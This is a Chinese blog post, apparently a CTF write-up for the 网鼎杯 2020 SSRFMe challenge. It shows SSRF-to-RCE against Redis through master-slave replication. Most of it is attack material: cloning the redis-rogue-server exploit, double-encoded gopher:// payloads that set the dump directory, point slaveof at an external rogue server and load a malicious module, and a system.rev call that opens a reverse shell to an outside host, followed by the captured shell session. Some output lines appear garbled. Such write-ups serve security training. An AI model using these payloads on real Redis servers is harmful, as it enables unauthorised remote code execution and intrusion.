

# Redis的RCE漏洞

原创

ISMidi 于 2021-02-13 15:55:17 发布 1109 收藏

分类专栏: [Web](#) 文章标签: [redis](#) [web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/wanmiqi/article/details/113801513>

版权



[Web](#) 专栏收录该内容

10 篇文章 0 订阅

订阅专栏

## 前言

做ssrf时碰到个redis的主从复制 ([网鼎杯 2020 玄武组]SSRFMe)

## writeup

```
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
    highlight_file(__FILE__);
}
if(isset($_POST['file'])){
    file_put_contents($_POST['file'], "<?php echo 'redispass is root';exit();".$_POST['file']);
}
```

给了redis的密码 root 我们来试试主从复制反弹shell

(A exploit for Redis(<=5.0.5) RCE)

```
git clone https://github.com/n0b0dyCN/redis-rogue-server
```

```
midi@kali:~/ssrf/redis-rogue-server$ python3 redis-rogue-server.py -h
Redis Rogue Server
@copyright n0b0dy @ r3kapi

Usage: redis-rogue-server.py [options]

Options:
-h, --help            show this help message and exit
--rhost=REMOTE_HOST  target host
--rport=REMOTE_PORT  target redis port, default 6379
--lhost=LOCAL_HOST   rogue server ip
--lport=LOCAL_PORT   rogue server listen port, default 21000
--exp=EXP_FILE       Redis Module to load, default exp.so
-v, --verbose        Show full data stream
midi@kali:~/ssrf/redis-rogue-server$
```

<https://blog.csdn.net/wanmiqi>

先监听外网服务器本机监听 6379

```
nc -lvvp 6379
```

之后 执行

```
python3 redis-rogue-server.py --rhost 127.0.0.1 --lhost 外网ip
```

默认端口号为21000

接下来payload

设置目录

```
gopher://0.0.0.0:6379/_auth root
```

```
config set dir /tmp/
```

```
quit
```

二次编码后:

```
gopher://0.0.0.0:6379/_auth%2520root%250aconfig%2520set%2520dir%2520%252ftmp%252f%250aquit
```

```
gopher://0.0.0.0:6379/_auth root
```

```
config set dbfilename exp.so
```

```
slaveof 外网ip 21000
```

```
quit
```

二次编码后:

```
gopher://0.0.0.0:6379/_auth%2520root%250aconfig%2520set%2520dbfilename%2520exp.so%250Aslaveof%25208.8.8%252021000%250Aquit
```

导入模块

```
gopher://0.0.0.0:6379/_auth root
```

```
module load /tmp/exp.so
```

```
system.rev 外网ip 6663
```

```
quit
```

二次编码后:

```
gopher://0.0.0.0:6379/_auth%2520root%250Amodule%2520load%2520/tmp/exp.so%250Asystem.rev%25208.8.8%25206663%250Aquit
```

导入模板前监听 6663

等上传完成后反弹到shell

```
midi@kali:~/桌面$ nc -lvvp 6663
listening on [any] 6663 ...
111.73.45.68: inverse host lookup failed: Unknown host
connect to [192.168.0.241] from (UNKNOWN) [111.73.45.68] 49961

ls
exp.so
pear

cd /
ls
bin
boot
dev
etc
flag.txt 21000
flag.sh 30
home
lib queue-server.py --rhost 127.0.0.1 --lhost 124.71.153.145[]
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
```

<https://blog.csdn.net/wanmiqi>

## 参考

- 浅析Redis中SSRF的利用
- [网鼎杯 2020 玄武组]SSRFMe